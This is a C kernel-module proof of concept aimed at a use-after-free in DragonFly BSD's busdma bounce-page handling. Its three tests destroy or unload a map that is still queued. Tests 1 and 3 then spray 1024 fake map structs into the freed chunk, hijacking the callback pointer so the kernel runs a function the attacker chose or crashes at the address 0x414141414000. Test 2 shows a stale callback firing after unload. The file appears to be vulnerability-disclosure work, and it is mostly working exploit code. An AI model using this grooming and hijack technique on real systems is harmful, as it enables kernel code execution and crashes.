DF-5348 / busdmauaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 | /* * busdmauaf.c — DF pass-2 PoC for sys/platform/pc64/x86_64/busdma_machdep.c * * Test 1 (POC_TEST=1): bus_dmamap_destroy() frees a map still linked on the * bounce-zone waiting list (EINPROGRESS path). The freed 64-byte chunk is * groomed; get_map_waiting()/busdma_swi() then operate on freed memory and * bus_dmamap_load() calls map->callback read from the freed, attacker- * repopulated chunk. Callback = hijack_proof(): attacker-chosen kernel * function executed -- controlled proof, no panic. * Test 2 (POC_TEST=2): bus_dmamap_unload() of a queued (EINPROGRESS) map is * a silent no-op -- the map stays on the waiting list, keeps its bounce * page reservation, and the deferred load+callback later fires for a map * the driver has already unloaded (stale buf/buflen/callback). * Test 3 (POC_TEST=3): like test 1 but callback = 0x414141414000 -> kernel * page fault at the attacker-chosen RIP (panic proof). * * NOTE: tests run at MOD_LOAD (kldload thread context). They must NOT run * inside a sysctl handler: alloc_bounce_zone() calls SYSCTL_ADD_NODE, which * deadlocks against the sysctl lock held by a sysctl write. * * Build: make -m /usr/share/mk SYSDIR=/usr/src/sys MAKEOBJDIRPREFIX=/root/obj \ * POCTEST=<1|2|3> * Run: kldload ./busdmauaf.ko */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/bus_dma.h> #include <machine/md_var.h> /* busdma_swi() */ #ifndef POC_TEST #define POC_TEST 1 #endif /* * Replica of the private 'struct bus_dmamap' from * sys/platform/pc64/x86_64/busdma_machdep.c:140-150 (not in any header). * NOTE: DF STAILQ_HEAD carries stqh_first AND stqh_last (16 bytes), so * the struct is 72 bytes. Offsets verified against the running kernel's * disassembly of get_map_waiting.isra (map->dmat @0x18, pagesneeded @0x10, * dmat->bounce_zone @0x48, bz->free_bpages @0x34). */ struct fake_bus_dmamap { struct { /* bpages STAILQ_HEAD, 16 bytes */ struct dummy_bp *stqh_first; /* 0x00 */ struct dummy_bp **stqh_last; /* 0x08 */ } bpages; int pagesneeded; /* 0x10 */ int pagesreserved; /* 0x14 */ bus_dma_tag_t dmat; /* 0x18 */ void *buf; /* 0x20 */ bus_size_t buflen; /* 0x28 */ void *callback; /* 0x30 */ void *callback_arg; /* 0x38 */ struct { void *stqe_next; } links; /* 0x40 */ }; CTASSERT(sizeof(struct fake_bus_dmamap) == 72); #if POC_TEST == 1 || POC_TEST == 3 static int hijacked; static void *hijack_arg_seen; #endif #if POC_TEST == 2 static int phantom_fired; #endif #if POC_TEST == 1 || POC_TEST == 3 static void hijack_proof(void *arg, bus_dma_segment_t *segs, int nsegs, int error) { hijacked++; hijack_arg_seen = arg; kprintf("BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function " "%p executed, arg=%p nsegs=%d error=%d\n", hijack_proof, arg, nsegs, error); } #endif #if POC_TEST == 2 static void phantom_cb(void *arg, bus_dma_segment_t *segs, int nsegs, int error) { phantom_fired++; kprintf("BUSDMA-PHANTOM: *** DEFERRED CALLBACK FIRED FOR UNLOADED " "MAP *** buf=%p nsegs=%d error=%d (driver already called " "bus_dmamap_unload!)\n", arg, nsegs, error); } #endif #if POC_TEST != 3 static void quiet_cb(void *arg, bus_dma_segment_t *segs, int nsegs, int error) { kprintf("BUSDMA-UAF: quiet_cb(arg=%p nsegs=%d err=%d)\n", arg, nsegs, error); } #else #define quiet_cb hijack_proof /* t3: quiet path also lands in proof fn */ #endif #if POC_TEST == 1 || POC_TEST == 3 static void demo_destroy_uaf(int evil) { bus_dma_tag_t tag; bus_dmamap_t mapA, mapB; void *buf_ok, *bufA, *bufB; int error, i, reclaimed = 0; struct fake_bus_dmamap *fm; kprintf("BUSDMA-UAF: === TEST %s ===\n", evil ? "3 (panic: evil callback ptr 0x414141414000)" : "1 (hijack proof)"); /* * Private bounce zone, 1 page at tag-create; lowaddr=16MB makes * every kernel page need bouncing. */ error = bus_dma_tag_create(NULL, 1, /* alignment */ 0, /* boundary */ 0xFFFFFFul, /* lowaddr */ BUS_SPACE_MAXADDR, /* highaddr */ PAGE_SIZE, /* maxsize */ 4, /* nsegments */ PAGE_SIZE, /* maxsegsz */ BUS_DMA_ALLOCNOW | BUS_DMA_PRIVBZONE, &tag); if (error) { kprintf("BUSDMA-UAF: tag_create failed %d\n", error); return; } kprintf("BUSDMA-UAF: tag=%p (private zone, 1 bpage)\n", tag); buf_ok = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO); bufA = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO); bufB = kmalloc(2 * PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO); error = bus_dmamap_create(tag, 0, &mapA); /* 1st map: no growth */ if (error) { kprintf("mapA create err %d\n", error); return; } error = bus_dmamap_create(tag, 0, &mapB); /* 2nd map: zone -> 2 */ if (error) { kprintf("mapB create err %d\n", error); return; } kprintf("BUSDMA-UAF: mapA=%p mapB=%p (zone now 2 bpages)\n", mapA, mapB); /* * mapB: 2-page buffer needs both bounce pages -> loads fully; * both pages become ACTIVE, free pool empty. */ error = bus_dmamap_load(tag, mapB, bufB, 2 * PAGE_SIZE, quiet_cb, (void *)0xb0000001ul, 0); kprintf("BUSDMA-UAF: mapB load -> %d (both bpages active)\n", error); if (error) { kprintf("mapB load err %d\n", error); return; } /* * mapA: 1 page needed, 0 free -> queued on * bz->bounce_map_waitinglist, load returns EINPROGRESS. */ error = bus_dmamap_load(tag, mapA, bufA, PAGE_SIZE, quiet_cb, (void *)0xb0000002ul, 0); kprintf("BUSDMA-UAF: mapA load -> %d (EINPROGRESS=%d; mapA queued)\n", error, EINPROGRESS); if (error != EINPROGRESS) { kprintf("BUSDMA-UAF: no EINPROGRESS -- abort\n"); return; } /* * --- The vulnerable step ------------------------------------------- * Conventional driver error cleanup destroys the map. The ONLY * guard in bus_dmamap_destroy() is STAILQ_FIRST(&map->bpages), * which is EMPTY for a queued map: freed while still linked. * ------------------------------------------------------------------ */ error = bus_dmamap_destroy(tag, mapA); kprintf("BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> %d " "(0 == FREED WHILE STILL LINKED ON WAITING LIST)\n", error); if (error) { kprintf("destroy unexpected err %d\n", error); return; } /* * Groom/spray: reclaim the 64-byte M_DEVBUF chunk and populate it * as an attacker would. Spray 1024 chunks so the freed bus_dmamap * is likely covered regardless of per-CPU magazine placement. */ for (i = 0; i < 1024; i++) { fm = kmalloc(sizeof(*fm), M_DEVBUF, M_INTWAIT | M_ZERO); if (fm == NULL) break; if ((void *)fm == (void *)mapA) { kprintf("BUSDMA-UAF: spray chunk %d == freed mapA " "(reclaimed!)\n", i); reclaimed = 1; } /* allocated chunk: whole struct is fair game */ fm->bpages.stqh_first = NULL; fm->bpages.stqh_last = &fm->bpages.stqh_first; fm->pagesneeded = 1; fm->pagesreserved = 0; fm->dmat = tag; fm->buf = buf_ok; fm->buflen = PAGE_SIZE; fm->callback = evil ? (void *)0x414141414000ul : (void *)hijack_proof; fm->callback_arg = (void *)0xbaadf00dul; fm->links.stqe_next = NULL; } kprintf("BUSDMA-UAF: sprayed %d fake-map chunks (72B, callback=%p)\n", i, evil ? (void *)0x414141414000ul : (void *)hijack_proof); /* * Deterministic fallback: write the fake map through the DANGLING * reference (== what a successful spray achieves). Fields at * offsets 8..63 only; offset 0 belongs to the allocator's free * chunk linkage and is left alone unless the chunk was reclaimed * (the deferred load itself will write offsets 0/8 via * STAILQ_INSERT_TAIL(&map->bpages, ...) -- on a still-free chunk * that corrupts slab metadata, demonstrated by the earlier * chunk_mark_allocated panic). */ if (!reclaimed) { kprintf("BUSDMA-UAF: spray missed; skipping dangling write " "(stale-callback UAF will fire instead)\n"); goto trigger; } fm = (struct fake_bus_dmamap *)mapA; fm->bpages.stqh_first = NULL; fm->bpages.stqh_last = &fm->bpages.stqh_first; fm->pagesneeded = 1; fm->pagesreserved = 0; fm->dmat = tag; fm->buf = buf_ok; fm->buflen = PAGE_SIZE; fm->callback = evil ? (void *)0x414141414000ul : (void *)hijack_proof; fm->callback_arg = (void *)0xbaadf00dul; fm->links.stqe_next = NULL; kprintf("BUSDMA-UAF: fake map written via dangling ref %p " "(reclaimed chunk)\n", fm); trigger:/**/ /* * Free the bounce pages: _bus_dmamap_unload -> free_bounce_page -> * get_map_waiting -> reserve_bounce_pages WRITES the freed chunk, * dequeues it, add_map_callback links the freed chunk into the * global callback list, setsoftvm() schedules the swi. */ kprintf("BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking " "the FREED map ...\n"); bus_dmamap_unload(tag, mapB); if (!evil) { for (i = 0; i < 8 && !hijacked; i++) { busdma_swi(); if (!hijacked) tsleep(&hijacked, 0, "uafw", hz / 4); } if (hijacked) kprintf("BUSDMA-UAF: RESULT=HIJACKED: kernel called " "the function pointer %p read from FREED memory " "(arg=%p)\n", fm->callback, hijack_arg_seen); else kprintf("BUSDMA-UAF: RESULT=FAILED (no callback)\n"); } else { kprintf("BUSDMA-UAF: draining callback list -> kernel will " "call *0x414141414000 ... panic expected\n"); busdma_swi(); kprintf("BUSDMA-UAF: ERROR: no panic?!\n"); } } #endif #if POC_TEST == 2 static void demo_phantom(void) { bus_dma_tag_t tag; bus_dmamap_t mapX, mapY; void *buf1, *buf2; int error, i; kprintf("BUSDMA-PHANTOM: === TEST 2 (unload does not dequeue) ===\n"); error = bus_dma_tag_create(NULL, 1, 0, 0xFFFFFFul, BUS_SPACE_MAXADDR, PAGE_SIZE, 4, PAGE_SIZE, BUS_DMA_ALLOCNOW | BUS_DMA_PRIVBZONE, &tag); if (error) { kprintf("tag err %d\n", error); return; } buf1 = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO); buf2 = kmalloc(2 * PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO); error = bus_dmamap_create(tag, 0, &mapX); if (error) { kprintf("mapX create err %d\n", error); return; } error = bus_dmamap_create(tag, 0, &mapY); /* zone -> 2 pages */ if (error) { kprintf("mapY create err %d\n", error); return; } error = bus_dmamap_load(tag, mapX, buf1, PAGE_SIZE, quiet_cb, (void *)0xd0000001ul, 0); kprintf("BUSDMA-PHANTOM: mapX load -> %d (1 bpage active, 1 free)\n", error); if (error) { kprintf("mapX load err %d\n", error); return; } error = bus_dmamap_load(tag, mapY, buf2, 2 * PAGE_SIZE, phantom_cb, (void *)0xd0000002ul, 0); kprintf("BUSDMA-PHANTOM: mapY load -> %d (EINPROGRESS; mapY queued, " "holds partial reservation of 1 bpage)\n", error); if (error != EINPROGRESS) { kprintf("BUSDMA-PHANTOM: no EINPROGRESS -- abort\n"); return; } /* * Driver aborts the transaction: bus_dmamap_unload() is a silent * NO-OP for a queued map (empty bpage list): mapY stays queued with * stale buf/buflen/callback and keeps its reservation. In a real * driver the buffer would now be reused or freed. */ bus_dmamap_unload(tag, mapY); kprintf("BUSDMA-PHANTOM: bus_dmamap_unload(mapY) returned -- map is " "STILL on the waiting list (no dequeue, no counter reset)\n"); /* * Any bounce-page release anywhere in the system now completes the * reservation and dequeues the UNLOADED map. */ kprintf("BUSDMA-PHANTOM: bus_dmamap_unload(mapX) frees a bpage -> " "wakes the UNLOADED mapY ...\n"); bus_dmamap_unload(tag, mapX); phantom_fired = 0; for (i = 0; i < 8 && !phantom_fired; i++) { busdma_swi(); if (!phantom_fired) tsleep(&phantom_fired, 0, "phw", hz / 4); } if (phantom_fired) kprintf("BUSDMA-PHANTOM: RESULT=PHANTOM CONFIRMED: deferred " "bus_dmamap_load ran on the UNLOADED map and invoked its " "callback with stale buffer state\n"); else kprintf("BUSDMA-PHANTOM: RESULT=FAILED\n"); /* cleanup: the phantom load left active bpages on mapY */ bus_dmamap_unload(tag, mapY); bus_dmamap_destroy(tag, mapY); bus_dmamap_destroy(tag, mapX); bus_dma_tag_destroy(tag); kfree(buf1, M_DEVBUF); kfree(buf2, M_DEVBUF); kprintf("BUSDMA-PHANTOM: cleanup done\n"); } #endif static int busdmauaf_handler(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: kprintf("busdmauaf: POC_TEST=%d loaded\n", POC_TEST); #if POC_TEST == 1 demo_destroy_uaf(0); #elif POC_TEST == 2 demo_phantom(); #elif POC_TEST == 3 demo_destroy_uaf(1); #endif kprintf("busdmauaf: test body finished\n"); return (0); case MOD_UNLOAD: kprintf("busdmauaf: unloaded\n"); return (0); default: return (0); } } static moduledata_t busdmauaf_mod = { "busdmauaf", busdmauaf_handler, NULL }; DECLARE_MODULE(busdmauaf, busdmauaf_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |